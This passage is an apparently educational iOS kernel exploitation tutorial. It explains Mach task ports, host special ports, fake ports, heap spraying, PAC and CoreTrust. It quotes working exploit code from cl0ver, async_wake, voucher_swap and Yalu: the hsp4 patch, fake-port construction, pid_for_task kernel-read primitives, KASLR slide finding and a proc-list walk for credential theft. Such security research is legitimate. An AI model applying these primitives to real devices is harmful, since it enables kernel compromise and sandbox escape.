This is where the check happens. The victim is the task on which operation is being performed and the caller is the one calling the function. The first check assumes if the caller is the kernel, and returns success if so. The second check is whether the caller is the same as the victim, which should be fine as a task should be able to perform operations on itself. The third check is where it makes a difference, if you make a change to the kernel_task and you are not kernel_task yourself, then the check will fail. However, this is just a pointer check with the kernel_task.

File: ./osfmk/kern/ipc_tt.c
1369: kern_return_t
1370: task_conversion_eval(task_t caller, task_t victim)
1371: {
1372: 	/*
1373: 	 * Tasks are allowed to resolve their own task ports, and the kernel is
1374: 	 * allowed to resolve anyone's task port.
1375: 	 */
1376: 	if (caller == kernel_task) {
1377: 		return KERN_SUCCESS;
1378: 	}
1380: 	if (caller == victim) {
1381: 		return KERN_SUCCESS;
1382: 	}
1384: 	/*
1385: 	 * Only the kernel can can resolve the kernel's task port. We've established
1386: 	 * by this point that the caller is not kernel_task.
1387: 	 */
1388: 	if (victim == TASK_NULL || victim == kernel_task) {
1390: 	}
1393: 	/*
1394: 	 * On embedded platforms, only a platform binary can resolve the task port
1395: 	 * of another platform binary.
1396: 	 */
1397: 	if ((victim->t_flags & TF_PLATFORM) && !(caller->t_flags & TF_PLATFORM)) {
1400: #else
1401: 		if (cs_relax_platform_task_ports) {
1402: 			return KERN_SUCCESS;
1403: 		} else {
1404: 			return KERN_INVALID_SECURITY;
1405: 		}
1406: #endif /* SECURE_KERNEL */
1407: 	}
1408: #endif /* CONFIG_EMBEDDED */
1410: 	return KERN_SUCCESS;
1411: }

So while the kernel task is still obtained, you won't be able to call the Mach APIs on it since it goes through the conversion APIs which will return KERN_INVALID_SECURITY and the previous function will return a TASK_NULL. There is another check by the way, which is that on embedded platforms, the code checks for the TF_PLATFORM flag in the code signature, which is nothing but the platform-applicationentitlement, which means that a caller without this entitlement cannot perform an operation on the victim that has this entitlement. We will discuss this in Part 3 of this series.

Hence, one of the more recent techniques has been to use the host_get_special_port() function. To understand this, head over to the file osfmk/mach/host_special_ports.h.

File: ./BUILD/obj/EXPORT_HDRS/osfmk/mach/host_special_ports.h
067: /*
068:  * Cannot be set or gotten from user space
069:  */
070: #define HOST_SECURITY_PORT               0
074: /*
075:  * Always provided by kernel (cannot be set from user-space).
076:  */
077: #define HOST_PORT                        1
078: #define HOST_PRIV_PORT                   2
079: #define HOST_IO_MASTER_PORT              3
080: #define HOST_MAX_SPECIAL_KERNEL_PORT     7 /* room to grow */
084: /*
085:  * Not provided by kernel
086:  */
091: #define HOST_LOCKD_PORT                 (5 + HOST_MAX_SPECIAL_KERNEL_PORT)
094: #define HOST_KEXTD_PORT                 (8 + HOST_MAX_SPECIAL_KERNEL_PORT)
111:                                         /* MAX = last since rdar://35861175 */
113: /* obsolete name */

This contains a bunch of special ports, which as you might have guessed already from the comments, are used for special purposes. From the comments, it is clear that the first seven ports are reserved for the kernel itself. However, only three of them are being used so far. The HOST_PORT provides an abstraction over the host and HOST_PRIV is used for privileged operations, while the HOST_IO_MASTER_PORTis used to interact with devices. Each Host special port is mentioned with a particular number, which is of quite a significance. We can note that #4 is not being used anywhere.

Another thing worth mentioning is that in order to get send right to a host special port, you need to call host_get_special_port with an int node parameter, which is the number allocated to that special port.

File: ./osfmk/kern/host.c
1193: /*
1194:  *      User interface for setting a special port.
1195:  *
1196:  *      Only permits the user to set a user-owned special port
1197:  *      ID, rejecting a kernel-owned special port ID.
1198:  *
1199:  *      A special kernel port cannot be set up using this
1200:  *      routine; use kernel_set_special_port() instead.
1201:  */
1202: kern_return_t
1203: host_set_special_port(host_priv_t host_priv, int id, ipc_port_t port)
1204: {
1206: 		return (KERN_INVALID_ARGUMENT);
1208: #if CONFIG_MACF
1209: 	if (mac_task_check_set_host_special_port(current_task(), id, port) != 0)
1210: 		return (KERN_NO_ACCESS);
1211: #endif
1213: 	return (kernel_set_special_port(host_priv, id, port));
1214: }
1216: /*
1217:  *      User interface for retrieving a special port.
1218:  *
1219:  *      Note that there is nothing to prevent a user special
1220:  *      port from disappearing after it has been discovered by
1221:  *      the caller; thus, using a special port can always result
1222:  *      in a "port not valid" error.
1223:  */
1225: kern_return_t
1226: host_get_special_port(host_priv_t host_priv, __unused int node, int id, ipc_port_t * portp)
1227: {
1228: 	ipc_port_t port;
1230: 	if (host_priv == HOST_PRIV_NULL || id == HOST_SECURITY_PORT || id > HOST_MAX_SPECIAL_PORT || id < 0)
1231: 		return (KERN_INVALID_ARGUMENT);
1233: 	host_lock(host_priv);
1234: 	port = realhost.special[id];
1235: 	*portp = ipc_port_copy_send(port);
1236: 	host_unlock(host_priv);
1238: 	return (KERN_SUCCESS);
1239: }

Looking at the function, we can see that it requires the host_priv port as a parameter, and hence executing this call requires root permissions, in addition to all the sandbox checks. The host_get_special_port function essentially gets the port value from realhost.special[node] and returns it back to the caller.

Coming back to the pointer check, if we can do a remap on the kernel task, write it to the unused port space, which is realhost.special[4], and then call host_get_special_port(4), this should give us a remapped and working kernel task.

The following code snippet from cl0ver written by Siguza does exactly that


bool patch_host_special_port_4(task_t kernel_task)
    DEBUG("Installing host_special_port(4) patch...");

    addr_t *special = (addr_t*)offsets.slid.data_realhost_special;
    vm_address_t kernel_task_addr,
    vm_size_t size;
    kern_return_t ret;

    // Get address of kernel task
    size = sizeof(kernel_task_addr);
    ret = vm_read_overwrite(kernel_task, (vm_address_t)offsets.slid.data_kernel_task, sizeof(kernel_task_addr), (vm_address_t)&kernel_task_addr, &size);
    if(ret != KERN_SUCCESS)
        THROW("Failed to get kernel task address: %s", mach_error_string(ret));
    DEBUG("Kernel task address: " ADDR, (addr_t)kernel_task_addr);

    // Get address of kernel task/self port
    size = sizeof(kernel_self_port_addr);
    ret = vm_read_overwrite(kernel_task, kernel_task_addr + offsets.unslid.off_task_itk_self, sizeof(kernel_self_port_addr), (vm_address_t)&kernel_self_port_addr, &size);
    if(ret != KERN_SUCCESS)
        THROW("Failed to get kernel task port address: %s", mach_error_string(ret));
    DEBUG("Kernel task port address: " ADDR, (addr_t)kernel_self_port_addr);

    // Check if realhost.special[4] is set already
    size = sizeof(old_port_addr);
    ret = vm_read_overwrite(kernel_task, (vm_address_t)(&special[4]), sizeof(old_port_addr), (vm_address_t)&old_port_addr, &size);
    if(ret != KERN_SUCCESS)
        THROW("Failed to read realhost.special[4]: %s", mach_error_string(ret));
    if(old_port_addr != 0)
        if(old_port_addr == kernel_self_port_addr)
            DEBUG("Patch already in place, nothing to do");
            return false;
            THROW("realhost.special[4] has a valid port already");

    // Write to realhost.special[4]
    ret = vm_write(kernel_task, (vm_address_t)(&special[4]), (vm_address_t)&kernel_self_port_addr, sizeof(kernel_self_port_addr));
    if(ret != KERN_SUCCESS)
        THROW("Failed to patch realhost.special[4]: %s", mach_error_string(ret));

    DEBUG("Successfully installed patch");
    return true;

This technique is also known as the hsp4 patch and widely used in some of the recent jailbreaks.

Faking Task Ports

One of the most common techniques used in some of the recent jailbreaks is that of using Fake ports. The idea is to make the kernel look up a user controlled memory space thinking that it is a port. Using certain APIs, we can then extract data out of the kernel.

Let's have a look at the stripped port structure which can be found in osfmk/ipc/ipc_port.h.

File: ./osfmk/ipc/ipc_port.h}
113: struct ipc_port {
115: 	/*
116: 	 * Initial sub-structure in common with ipc_pset
117: 	 * First element is an ipc_object second is a
118: 	 * message queue
119: 	 */
120: 	struct ipc_object ip_object;
121: 	struct ipc_mqueue ip_messages;
123: 	union {
124: 		struct ipc_space *receiver;
125: 		struct ipc_port *destination;
126: 		ipc_port_timestamp_t timestamp;
127: 	} data;
129: 	union {
130: 		ipc_kobject_t kobject;
131: 		ipc_importance_task_t imp_task;
132: 		ipc_port_t sync_inheritor_port;
133: 		struct knote *sync_inheritor_knote;
134: 		struct turnstile *sync_inheritor_ts;
135: 	} kdata;
137: 	struct ipc_port *ip_nsrequest;
138: 	struct ipc_port *ip_pdrequest;
139: 	struct ipc_port_request *ip_requests;
140: 	union {
141: 		struct ipc_kmsg *premsg;
142: 		struct turnstile *send_turnstile;
143: 		SLIST_ENTRY(ipc_port) dealloc_elm;
144: 	} kdata2;

The first attribute is an ipc_object struct that can be found in osfmk/ipc/ipc_object.h.

File: ./osfmk/ipc/ipc_object.h
088: /*
089:  * The ipc_object is used to both tag and reference count these two data
090:  * structures, and (Noto Bene!) pointers to either of these or the
091:  * ipc_object at the head of these are freely cast back and forth; hence
092:  * the ipc_object MUST BE FIRST in the ipc_common_data.
093:  *
094:  * If the RPC implementation enabled user-mode code to use kernel-level
095:  * data structures (as ours used to), this peculiar structuring would
096:  * avoid having anything in user code depend on the kernel configuration
097:  * (with which lock size varies).
098:  */
099: struct ipc_object {
100: 	ipc_object_bits_t io_bits;
101: 	ipc_object_refs_t io_references;
102: 	lck_spin_t	io_lock_data;
103: };

The first field is io_bits, the details about these bits can be found under osfmk/ipc/ipc_object.h


File: ./osfmk/ipc/ipc_object.h
124: /*
125:  *	IPC steals the high-order bits from the kotype to use
126:  *	for its own purposes.  This allows IPC to record facts
127:  *	about ports that aren't otherwise obvious from the
128:  *	existing port fields.  In particular, IPC can optionally
129:  *	mark a port for no more senders detection.  Any change
130:  *	to IO_BITS_PORT_INFO must be coordinated with bitfield
131:  *	definitions in ipc_port.h.
132:  */
133: #define	IO_BITS_PORT_INFO	0x0000f000	/* stupid port tricks */
134: #define	IO_BITS_KOTYPE		0x00000fff	/* used by the object */
135: #define IO_BITS_OTYPE		0x7fff0000	/* determines a zone */
136: #define	IO_BITS_ACTIVE		0x80000000	/* is object alive? */
138: #define	io_active(io)		(((io)->io_bits & IO_BITS_ACTIVE) != 0)
140: #define	io_otype(io)		(((io)->io_bits & IO_BITS_OTYPE) >> 16)
141: #define	io_kotype(io)		((io)->io_bits & IO_BITS_KOTYPE)
143: #define	io_makebits(active, otype, kotype)	\
144: 	(((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype))
146: /*
147:  * Object types: ports, port sets, kernel-loaded ports
148:  */
149: #define	IOT_PORT		0
150: #define IOT_PORT_SET		1
151: #define IOT_NUMBER		2		/* number of types used */

The IO_BITS_ACTIVE needs to be set to make sure the object is alive. The IO_BITS_OTYPE specifies the object type. The IO_BITS_KOTYPE field that determines what kind of port it is, whether it is a task port, or a clock port etc. While creating a fake port, you need to specify these values in the io_bits field. A full list can be found under osfmk/kern/ipc_kobject.h

File: ./BUILD/obj/EXPORT_HDRS/osfmk/kern/ipc_kobject.h
092: #define	IKOT_NONE				0
093: #define IKOT_THREAD				1
094: #define	IKOT_TASK				2
095: #define	IKOT_HOST				3
096: #define	IKOT_HOST_PRIV			4
097: #define	IKOT_PROCESSOR			5
098: #define	IKOT_PSET				6
099: #define	IKOT_PSET_NAME			7
100: #define	IKOT_TIMER				8
101: #define	IKOT_PAGING_REQUEST		9
102: #define	IKOT_MIG				10
103: #define	IKOT_MEMORY_OBJECT		11
104: #define	IKOT_XMM_PAGER			12
105: #define	IKOT_XMM_KERNEL			13
106: #define	IKOT_XMM_REPLY			14
107: #define IKOT_UND_REPLY			15
108: #define IKOT_HOST_NOTIFY		16
109: #define IKOT_HOST_SECURITY		17
110: #define	IKOT_LEDGER				18
111: #define IKOT_MASTER_DEVICE		19
112: #define IKOT_TASK_NAME			20
113: #define IKOT_SUBSYSTEM			21
114: #define IKOT_IO_DONE_QUEUE		22
115: #define IKOT_SEMAPHORE			23
116: #define IKOT_LOCK_SET			24
117: #define IKOT_CLOCK				25
118: #define IKOT_CLOCK_CTRL			26
119: #define IKOT_IOKIT_IDENT		27
120: #define IKOT_NAMED_ENTRY		28
121: #define IKOT_IOKIT_CONNECT		29
122: #define IKOT_IOKIT_OBJECT		30
123: #define IKOT_UPL				31
124: #define IKOT_MEM_OBJ_CONTROL		32
125: #define IKOT_AU_SESSIONPORT		33
126: #define IKOT_FILEPORT			34
127: #define IKOT_LABELH			35
128: #define IKOT_TASK_RESUME		36
129: #define IKOT_VOUCHER			37
131: #define IKOT_WORK_INTERVAL              39
132: #define IKOT_UX_HANDLER                 40
134: /*
135:  * Add new entries here and adjust IKOT_UNKNOWN.
136:  * Please keep ipc/ipc_object.c:ikot_print_array up to date.
137:  */
138: #define IKOT_UNKNOWN                    41      /* magic catchall       */
139: #define	IKOT_MAX_TYPE	(IKOT_UNKNOWN+1)	/* # of IKOT_ types	*/
142: #define is_ipc_kobject(ikot)	((ikot) != IKOT_NONE)

Setting the io_bits field of the ports would look as simple as this.

#define IO_BITS_ACTIVE 0x80000000
#define	IKOT_TASK 2
#define IKOT_CLOCK 25

fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK;
secondfakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;

The io_references field of the ipc_object would also need to be set to anything other than 0, just to make sure the object isn't deallocated.

Coming back to the port structure, one of the other important fields is the struct ipc_space *receiver field which points to the ipc_spacestruct. The ipc_space structure for a task defines its IPC abilities. Each IPC capability is represented by an ipc_entry and put in a table, which is pointed to by the is_table field in the ipc_space struct. The port rights or capablities in the is_table are 16 bits and have a name which is actually an index onto the is_table. It is important to note that within the kernel, port rights (mach_port_t) are represented by passing a pointer to the appropriate port data structure (ipc_port_t).

File: ./osfmk/ipc/ipc_space.h
115: struct ipc_space {
116: 	lck_spin_t	is_lock_data;
117: 	ipc_space_refs_t is_bits;	/* holds refs, active, growing */
118: 	ipc_entry_num_t is_table_size;	/* current size of table */
119: 	ipc_entry_num_t is_table_free;	/* count of free elements */
120: 	ipc_entry_t is_table;		/* an array of entries */
121: 	task_t is_task;                 /* associated task */
122: 	struct ipc_table_size *is_table_next; /* info for larger table */
123: 	ipc_entry_num_t is_low_mod;	/* lowest modified entry during growth */
124: 	ipc_entry_num_t is_high_mod;	/* highest modified entry during growth */
125: 	struct bool_gen bool_gen;       /* state for boolean RNG */
126: 	unsigned int is_entropy[IS_ENTROPY_CNT]; /* pool of entropy taken from RNG */
127: 	int is_node_id;			/* HOST_LOCAL_NODE, or remote node if proxy space */
128: };

The IPC space is a very important struct, and hence most exploits look for the kernel ipc_space in order to get a proper (yet fake) kernel task port. The trick has been to copy the ipc_space_kernel to a new memory and make your fake port's receiver field point to it.

The kobject field points to different data structures depending on the kobject type set in the io_bits field. Hence if you are faking a task port, you need to point the kobject field to a struct task, and in case of a clock, a struct clock.

That's it, so you need to fake the port until you make it :). Here is an example of creating a fake port from the async_wake exploit.

uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr) {
  uint8_t* body = malloc(message_body_size);
  memset(body, 0, message_body_size);

  uint32_t port_page_offset = dangling_port_address & 0xfff;

  // structure required for the first fake port:
  uint8_t* fake_port = body + (port_page_offset - message_body_offset);

  *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK;
  *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references
  *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights
  *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;
  *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef;

  *context_ptr = (uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT));

  // set the kobject pointer such that task->bsd_info reads from ip_context:
  int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO);

  uint64_t fake_task_address = dangling_port_address + fake_task_offset;
  *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address;

  // when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task
  // pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that!

  if (fake_port + fake_task_offset < body) {
    printf("the maths is wrong somewhere, fake task doesn't fit in message\n");

  uint8_t* fake_task = fake_port + fake_task_offset;

  // set the ref_count field of the fake task:
  *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references

  // make sure the task is active
  *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;

  // set the vm_map of the fake task:
  *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;

  // set the task lock type of the fake task's lock:
  *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
  return body;

For more details, i highly recommend checking out the this talk titled Port(al) to the iOS Core from CanSecWest by Stefan Esser here.

pid_for_task() arbitrary read technique

As discussed earlier, the pid_for_task Mach Trap will give out the PID of the corresponding task. It looks up the bsd_info field in the task struct which points to the corresponding BSD proc struct in the kernel, and reads the p_pid value. Assuming the p_pid field is at an offset of 0x10, and let's say the address you want to read is addr, you can create a fake port, which then links to a fake task such that the bsd_infofield in the task is addr - 0x10.

The following code from the voucher_swap exploit tries to do just that.

 * stage1_read32
 * Description:
 * 	Read a 32-bit value from kernel memory using our fake port.
 * 	This primitive requires that we know the address of the pipe buffer containing our port.
static uint32_t
stage1_read32(uint64_t address) {
	// Do a read to make the pipe available for a write.
	// Create our fake task. The task's proc's p_pid field overlaps with the address we want to
	// read.
	uint64_t fake_proc_address = address - OFFSET(proc, p_pid);
	uint64_t fake_task_address = pipe_buffer_address + fake_task_offset;
	uint8_t *fake_task = (uint8_t *) pipe_buffer + fake_task_offset;
	FIELD(fake_task, task, ref_count, uint64_t) = 2;
	FIELD(fake_task, task, bsd_info,  uint64_t) = fake_proc_address;
	// Initialize the port as a fake task port pointing to our fake task.
	uint8_t *fake_port_data = (uint8_t *) pipe_buffer + fake_port_offset;
	FIELD(fake_port_data, ipc_port, ip_bits,    uint32_t) = io_makebits(1, IOT_PORT, IKOT_TASK);
	FIELD(fake_port_data, ipc_port, ip_kobject, uint64_t) = fake_task_address;
	// Write our buffer to kernel memory.
	// Now use pid_for_task() to read our value.
	int pid = -1;
	kern_return_t kr = pid_for_task(fake_port, &pid);
	if (kr != KERN_SUCCESS) {
		ERROR("%s returned %d: %s", "pid_for_task", kr, mach_error_string(kr));
		ERROR("could not read kernel memory in stage %d using %s", 1, "pid_for_task");
	return (uint32_t) pid;

Just combine the method twice and you can now read 64 bits at a time.

 * stage1_read64
 * Description:
 * 	Read a 64-bit value from kernel memory using our stage 1 read primitive.
static uint64_t
stage1_read64(uint64_t address) {
	union {
		uint32_t value32[2];
		uint64_t value64;
	} u;
	u.value32[0] = stage1_read32(address);
	u.value32[1] = stage1_read32(address + 4);
	return u.value64;

It is important to note that the offsets keep changing with different versions of iOS and its even different for different devices. These offsets are found both by looking at the kernel source code and also by looking at the kernelcache file.

This technique is very powerful and allows you to scour the kernel memory 4 bytes at a time. Another very important use case for is function is to find the kernel slide. All they have to do is to start reading the kernel memory backwards four bytes at a time until you get to the magic value 0xfeedfacf. This address will denote the base address of the kernel, subtract it from the start address on the kernelcache when opened with IDA or Hopper and you will get the kernel slide. The following code from the Yalu jailbreak does just that.

 while (1) {
        int32_t leaked = 0;
        // The offset from the start of "struct task" to "task->bsd_info" seems to be fixed to 0x360, but this is prone to change anytime in the future as apple sees fit
        // It'd be nice to use a heuristic method like how K33n Team does it with the cpu_clock thing
        *(uint64_t*) (faketask + procoff) = leaked_ptr - 0x10;
        // This tries to read a value from "task->bsd_info->p_pid" which translates to "faketask->bsd_info->p_pid = (leaked_ptr - 0x10)->p_pid = leaked_ptr"
        pid_for_task(foundport, &leaked);
        // Is it 0xfeedfacf?
        if (leaked == MH_MAGIC_64) {
            NSLog(@"found kernel text at %llx", leaked_ptr);
        // Retreat one page and search again
        leaked_ptr -= 0x4000;
// Found kernel base!
uint64_t kernel_base = leaked_ptr;
// Calculating KASLR slide
extern uint64_t slide;
slide = kernel_base - 0xFFFFFFF007004000;

Once kernel base is obtained, you can find some important structures in the kernel memory, such as extern struct proclist allproc;, which can be found in the file /bsd/sys/proc_internal.h, since even though the kernel is slid because of KASLR, the structs are still at a fixed offset from the kernel base. As we can see from the kernel code, this struct contains a list of the prcesses. The symbol addresses can also be found using jtool2 --analyze feature, which utilizes the unstripped kernelcache that Apple mistakenly pushed out as a facilitator.

File: ./bsd/sys/proc_internal.h
673: extern lck_attr_t * proc_lck_attr;
675: LIST_HEAD(proclist, proc);
676: extern struct proclist allproc;		/* List of all processes. */
677: extern struct proclist zombproc;	/* List of zombie processes. */
679: extern struct proc *initproc;
680: extern void	procinit(void);
681: extern void proc_lock(struct proc *);
682: extern void proc_unlock(struct proc *);
683: extern void proc_spinlock(struct proc *);
684: extern void proc_spinunlock(struct proc *);
685: extern void proc_list_lock(void);
686: extern void proc_list_unlock(void);
687: extern void proc_klist_lock(void);
688: extern void proc_klist_unlock(void);

One can then scour these structs using again the same function pid_for_task() to find the current proc struct by checking for pid = getpid()(so we can change the creds in the proc struct later to escape the sandbox), and kernproc by checking for pid = 0 (so we can get kern proc creds, find kernel task, ipc_space_kernel etc).

// extern struct proclist allproc;
// This global variable stores the start of the linked_list of all proc objects
uint64_t allproc = allproc_offset + kernel_base;

uint64_t proc_ = allproc;

uint64_t myproc = 0;
uint64_t kernproc = 0;

// Traverse the linked list until the end of the list. I guess the next pointer of the last element is set to 0
while (proc_) {
    uint64_t proc = 0;

    // Getting the address of the next proc object in the linked list
    *(uint64_t*) (faketask + procoff) = proc_ - 0x10;
    pid_for_task(foundport, (int32_t*)&proc);
    // Need to read 2 times cause "pid_for_task" can only read 4 bytes at a time
    *(uint64_t*) (faketask + procoff) = 4 + proc_ - 0x10;
    pid_for_task(foundport, (int32_t*)(((uint64_t)(&proc)) + 4));

    // Getting the PID of from proc->p_pid
    int pd = 0;
    *(uint64_t*) (faketask + procoff) = proc;
    pid_for_task(foundport, &pd);

    // Checking if it equals my PID
    if (pd == getpid()) {
        // Address of my proc struct
        myproc = proc;
    } else if (pd == 0){
        // Address of the kernel proc struct
        kernproc = proc;
    proc_ = proc;

Heap Allocation Basics

This is a very brief discussion about Heap Allocation in iOS. In iOS, the heap memory is divided into various zones. Allocations of same size will go into same zones, unless for certain objects which have their own special zones (ports, vouchers etc). These zones grow as more objects are allocated, with the new pages being fetched from the zone map. One can see the zones allocated with the zprint command on Mac OS. It is assumed that a lot of heap allocation techniques will still be the same in iOS. Another thing is to note that iOS has zone garbage collection as well.



As discussed, certain objects have their own special zones. A zone is a collection of fixed size data blocks for which quick allocation and deallocation is possible. For example, in the image below, we can see that the a lot of the IPC objects, which includes ports, vouchers etc have their own zones. Hence if you are able to free a voucher let's say, you won't be able to overlap it with another object, unless you trigger zone garbage collection and move the page containing that address somewhere else to be reallocated again with a different kind of object.



The heap has been hardened significantly in the last few iOS versions. I highly recommend checking out this talk on iOS Kernel Heap by Stefan Esser. Additionally, you can also check out the kernel source code. Start by looking osfmk/kern/zalloc.c which has some comments on heap allocation and just follow along from there.



One of the common techniques used in recent exploits for heap spraying is to fill the memory with an array of Port pointers by sending a Mach message with the option MACH_MSG_OOL_PORTS_DESCRIPTOR. This calls the method ipc_kmsg_copyin_ool_ports_descriptor in ipc/ipc_kmsg.c which has a kalloc call (kalloc(ports_length)) that fills the heap with port pointers. The advantage of this is in the voucher_swap exploit was that while the allocation of Ports would have put them into their own ipc.port zones, in the case of port pointers this is not the case and hence reallocation on top of freed objects with port pointers is possible. Well, again this is not entirely true and reallocation with ports is possible as you can do enough spraying with Ports such that the kernel is forced to do garbage collection and allocate fresh pages from the zone map which might include the freed objects. This is discussed in Part 2 of this series.

mach_msg_descriptor_t *
	mach_msg_ool_ports_descriptor_t *dsc,
	mach_msg_descriptor_t *user_dsc,
	int is_64bit,
	vm_map_t map,
    dsc->address = NULL;  /* for now */

    data = kalloc(ports_length);

    if (data == NULL) {
        *mr = MACH_SEND_NO_BUFFER;
        return NULL;

Pointer Authentication Check and CoreTrust

The ARM 8.3 instruction set added a new feature called Pointer Authentication Check (PAC). It's purpose is to check the integrity of the pointers. It works by attaching a cryptographic signature to pointer values in its unused bits, and then those signatures are verified before a pointer is used. Since the attacker doesn't have the keys to create the signatures for these pointers, he is not able to create valid pointers.

CoreTrust, on the other hand, is a separate kernel extension (com.apple.kext.CoreTrust) that doesn't allow self-signed binaries (jtool2 --sign) to run on the device. Previously, Apple Mobile File Integrity Kext (AMFI.kext) would work in conjunction with the amfid daemon which is in userland to check for code signatures. This was bypassed in many ways by injecting the code signature hash into the AMFI trust cache, hooking onto amfid exception ports and allowing code execution to continue etc. CoreTrust imposes some additional checks that only allow Apple to signed binaries to run on the device. It is still possible ro run binaries signed with Apple certificates, which anyone can get for free and run the binary once signed with it.

For more detailed reading, I would recommend checking out this link for PAC and this one for CoreTrust.


In this article, we looked at some of the basic fundamentals of iOS security which will serve as building blocks for the next two articles. The next article will discuss the voucher_swap exploit in detail whereas the third part would discuss Jailbreaking.


  1. Project Zero Issue tracker - https://bugs.chromium.org/p/project-zero/issues/detail?id=1731
  2. iOS 10 - Kernel Heap Revisited - https://gsec.hitb.org/materials/sg2016/D2%20-%20Stefan%20Esser%20-%20iOS%2010%20Kernel%20Heap%20Revisited.pdf
  3. Mac OS X Internals: A Systems Approach - https://www.amazon.com/Mac-OS-Internals-Approach-paperback/dp/0134426541
  4. MacOS and iOS Internals, Volume III: Security & Insecurity: https://www.amazon.com/MacOS-iOS-Internals-III-Insecurity/dp/0991055535
  5. CanSecWest 2017 - Port(al) to the iOS Core - https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core



Prateek Gianchandani (@prateekg147

xen1thLabs- Software Lab


  Back to Paper Listing